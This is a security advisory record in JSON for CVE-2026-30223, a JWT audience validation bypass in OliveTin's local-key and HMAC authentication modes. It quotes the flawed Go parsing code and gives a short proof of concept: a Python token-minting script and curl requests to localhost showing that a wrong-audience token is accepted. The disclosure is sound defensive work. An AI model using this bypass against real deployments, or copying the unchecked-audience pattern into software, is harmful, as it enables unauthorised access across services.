CVE-2026-30223: Github.com/OliveTin/OliveTin OliveTin Has JWT Audience Validation Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g962-2j28-3cg9",
  "modified" : "2026-03-06T22:52:10Z",
  "published" : "2026-03-05T20:52:12Z",
  "aliases" : [ "CVE-2026-30223" ],
  "summary" : "OliveTin has JWT Audience Validation Bypass in Local Key and HMAC Modes",
  "details" : "### Summary\n\nWhen JWT authentication is configured using either:\n\n- `authJwtPubKeyPath` (local RSA public key), or\n- `authJwtHmacSecret` (HMAC secret),\n\nthe configured audience value (`authJwtAud`) is not enforced during token parsing.\nAs a result, validly signed JWT tokens with an incorrect `aud` claim are accepted for authentication.\nThis allows authentication using tokens intended for a different audience/service.\n\n### Details\n\n**Affected Code**\n\nFile: `jwt.go`\nLines: 51–59, 144–157, 161–168\n\n**Current Behavior**\n\nRemote JWKS Mode (Correct):\n```go\nreturn jwt.Parse(jwtToken, jwksVerifier.Keyfunc, jwt.WithAudience(cfg.AuthJwtAud))\n```\nAudience validation is enforced.\n\nLocal Public Key Mode (Vulnerable):\n```go\nreturn jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })\n```\nNo `jwt.WithAudience()` option is provided.\n\nHMAC Mode (Vulnerable):\n```go\nreturn jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })\n```\nNo `jwt.WithAudience()` option is provided.\n\n**Why This Is Vulnerable:** `authJwtAud` is ignored for `authJwtPubKeyPath` and `authJwtHmacSecret` modes, so wrong-audience tokens are accepted.\n\n### PoC\n\n1. **Configure OliveTin**\n\n   Use a minimal config with JWT local key authentication:\n   ```yaml\n   authJwtPubKeyPath: ./public.pem\n   authJwtHeader: Authorization\n   authJwtClaimUsername: sub\n   authJwtAud: expected-audience\n\n   authRequireGuestsToLogin: true\n   ```\n\n2. **Generate a Wrong-Audience Token**\n   ```python\n   python3 - <<EOF\n   import jwt, datetime\n\n   with open(\"private.pem\") as f:\n       key = f.read()\n\n   token = jwt.encode(\n       {\n           \"sub\": \"low\",\n           \"aud\": \"wrong-audience\",   # intentionally wrong\n           \"exp\": datetime.datetime.utcnow() + datetime.timedelta(minutes=30)\n       },\n       key,\n       algorithm=\"RS256\"\n   )\n\n   print(token)\n   EOF\n   ```\n   This prints the `$WRONG_AUD_TOKEN`.\n\n3. **Test Without Token (Baseline)**\n   ```bash\n   curl -i -X POST http://localhost:1337/api/WhoAmI \\\n     -H 'Content-Type: application/json' \\\n     -d '{}'\n   ```\n   Expected response:\n   ```\n   HTTP/1.1 401 Unauthorized\n   ```\n\n4. **Test With Wrong-Audience Token**\n   ```bash\n   curl -i -X POST http://localhost:1337/api/WhoAmI \\\n     -H 'Content-Type: application/json' \\\n     -H \"Authorization: Bearer $WRONG_AUD_TOKEN\" \\\n     -d '{}'\n   ```\n   Expected response:\n   ```\n   HTTP/1.1 200 OK\n   {\"authenticatedUser\":\"low\",\"provider\":\"jwt\",\"usergroup\":\"\",\"acls\":[],\"sid\":\"\"}\n   ```\n   Authentication succeeds even though the `aud` claim is incorrect.\n\n### Impact\n\nAn attacker who possesses a valid JWT signed by the configured key (or HMAC secret) but intended for a different audience can authenticate successfully.\n\nThis enables:\n\n- Cross-service token reuse\n- Authentication using tokens issued for other systems\n- Trust boundary violation in multi-service environments\n\nThis is particularly severe when:\n\n- OliveTin is deployed behind a centralized SSO provider\n- The same signing key is reused across services\n- Audience restrictions are relied upon for service isolation\n\nThis does **not** bypass ACL authorization.\nIt is strictly an authentication validation flaw.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/OliveTin/OliveTin"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260304231339-e97d8ecbd8d6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-g962-2j28-3cg9"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-30223"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OliveTin/OliveTin/commit/e97d8ecbd8d6ba468c418ca496fcd18f78131233"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/OliveTin/OliveTin"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-287", "CWE-345" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-05T20:52:12Z",
    "nvd_published_at" : "2026-03-06T21:16:16Z"
  }
}